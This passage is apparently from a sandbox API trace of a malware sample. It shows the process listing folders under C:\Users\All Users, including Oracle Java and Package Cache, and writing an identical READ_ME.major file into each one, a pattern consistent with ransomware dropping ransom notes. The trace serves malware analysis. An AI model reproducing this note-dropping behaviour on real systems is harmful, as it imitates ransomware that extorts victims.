[0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630c00 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c00 | out: hHeap=0x570000) returned 1 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0151.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.901] FindNextFileW (in: hFindFile=0x630bc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1 [0151.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0151.901] GetLastError () returned 0x0 [0151.901] SetLastError (dwErrCode=0x0) [0151.901] GetLastError () returned 0x0 [0151.901] SetLastError (dwErrCode=0x0) [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0151.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0151.901] GetLastError () returned 0x0 [0151.901] SetLastError (dwErrCode=0x0) [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0151.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ef40 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e990 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d250 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0151.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0151.901] GetLastError () returned 0x0 [0151.901] SetLastError (dwErrCode=0x0) [0151.901] GetLastError () returned 0x0 [0151.901] SetLastError (dwErrCode=0x0) [0151.901] GetLastError () returned 0x0 [0151.901] SetLastError (dwErrCode=0x0) [0151.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0151.902] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\READ_ME.major" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0151.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0151.903] WriteFile (in: hFile=0x644, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.904] CloseHandle (hObject=0x644) returned 1 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e990 | out: hHeap=0x570000) returned 1 [0151.904] FindNextFileW (in: hFindFile=0x630bc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0151.904] GetLastError () returned 0x0 [0151.904] SetLastError (dwErrCode=0x0) [0151.904] GetLastError () returned 0x0 [0151.904] SetLastError (dwErrCode=0x0) [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0151.904] GetLastError () returned 0x0 [0151.904] SetLastError (dwErrCode=0x0) [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eed8 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e8c0 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0151.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0151.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0151.904] GetLastError () returned 0x0 [0151.904] SetLastError (dwErrCode=0x0) [0151.904] GetLastError () returned 0x0 [0151.904] SetLastError (dwErrCode=0x0) [0151.904] GetLastError () returned 0x0 [0151.904] SetLastError (dwErrCode=0x0) [0151.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0151.905] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\READ_ME.major" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0151.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0151.906] WriteFile (in: hFile=0x644, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.906] CloseHandle (hObject=0x644) returned 1 [0151.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0151.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0151.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0151.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e8c0 | out: hHeap=0x570000) returned 1 [0151.907] FindNextFileW (in: hFindFile=0x630bc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="javapath", cAlternateFileName="")) returned 1 [0151.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0151.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0151.907] GetLastError () returned 0x0 [0151.907] SetLastError (dwErrCode=0x0) [0151.907] GetLastError () returned 0x0 [0151.907] SetLastError (dwErrCode=0x0) [0151.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0151.907] GetLastError () returned 0x0 [0151.907] SetLastError (dwErrCode=0x0) [0151.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0151.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0151.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0151.907] GetLastError () returned 0x0 [0151.907] SetLastError (dwErrCode=0x0) [0151.907] GetLastError () returned 0x0 [0151.907] SetLastError (dwErrCode=0x0) [0151.907] GetLastError () returned 0x0 [0151.907] SetLastError (dwErrCode=0x0) [0151.907] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\READ_ME.major" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0151.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0151.908] WriteFile (in: hFile=0x644, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.908] CloseHandle (hObject=0x644) returned 1 [0151.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0151.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0151.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0151.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.909] FindNextFileW (in: hFindFile=0x630bc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0151.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0151.909] GetLastError () returned 0x0 [0151.909] SetLastError (dwErrCode=0x0) [0151.909] GetLastError () returned 0x0 [0151.909] SetLastError (dwErrCode=0x0) [0151.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0151.909] GetLastError () returned 0x0 [0151.909] SetLastError (dwErrCode=0x0) [0151.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0151.909] GetLastError () returned 0x0 [0151.909] SetLastError (dwErrCode=0x0) [0151.909] GetLastError () returned 0x0 [0151.909] SetLastError (dwErrCode=0x0) [0151.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0151.909] GetLastError () returned 0x0 [0151.909] SetLastError (dwErrCode=0x0) [0151.909] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\READ_ME.major" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0151.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.910] WriteFile (in: hFile=0x644, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.910] CloseHandle (hObject=0x644) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0e30 | out: hHeap=0x570000) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0151.911] FindNextFileW (in: hFindFile=0x630bc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x157e17c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x157e17c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0151.911] GetLastError () returned 0xb7 [0151.911] SetLastError (dwErrCode=0xb7) [0151.911] GetLastError () returned 0xb7 [0151.911] SetLastError (dwErrCode=0xb7) [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0151.911] GetLastError () returned 0xb7 [0151.911] SetLastError (dwErrCode=0xb7) [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0151.911] FindNextFileW (in: hFindFile=0x630bc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x157e17c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x157e17c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a38 | out: hHeap=0x570000) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0151.911] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630cc0 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0151.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0151.911] GetLastError () returned 0x12 [0151.911] SetLastError (dwErrCode=0x12) [0151.911] GetLastError () returned 0x12 [0151.912] SetLastError (dwErrCode=0x12) [0151.912] GetLastError () returned 0x12 [0151.912] SetLastError (dwErrCode=0x12) [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e40 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.912] FindNextFileW (in: hFindFile=0x630cc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7be8 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0151.912] GetLastError () returned 0x12 [0151.912] SetLastError (dwErrCode=0x12) [0151.912] GetLastError () returned 0x12 [0151.912] SetLastError (dwErrCode=0x12) [0151.912] GetLastError () returned 0x12 [0151.912] SetLastError (dwErrCode=0x12) [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c00 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.912] FindNextFileW (in: hFindFile=0x630cc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d98 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0151.912] GetLastError () returned 0x12 [0151.912] SetLastError (dwErrCode=0x12) [0151.912] GetLastError () returned 0x12 [0151.912] SetLastError (dwErrCode=0x12) [0151.912] GetLastError () returned 0x12 [0151.912] SetLastError (dwErrCode=0x12) [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0151.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0151.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f00 | out: hHeap=0x570000) returned 1 [0151.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0151.913] GetLastError () returned 0x12 [0151.913] SetLastError (dwErrCode=0x12) [0151.913] GetLastError () returned 0x12 [0151.913] SetLastError (dwErrCode=0x12) [0151.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0151.913] GetLastError () returned 0x12 [0151.913] SetLastError (dwErrCode=0x12) [0151.913] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x648 [0151.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0151.914] WriteFile (in: hFile=0x648, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.914] CloseHandle (hObject=0x648) returned 1 [0151.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0151.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1e0 | out: hHeap=0x570000) returned 1 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0151.915] FindNextFileW (in: hFindFile=0x630cc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157e17c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x157e17c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0bd8 | out: hHeap=0x570000) returned 1 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0151.915] GetLastError () returned 0x0 [0151.915] SetLastError (dwErrCode=0x0) [0151.915] GetLastError () returned 0x0 [0151.915] SetLastError (dwErrCode=0x0) [0151.915] GetLastError () returned 0x0 [0151.915] SetLastError (dwErrCode=0x0) [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0151.915] FindNextFileW (in: hFindFile=0x630cc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157e17c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x157e17c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0151.915] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158c65ab, ftLastWriteTime.dwHighDateTime=0x1d50249, 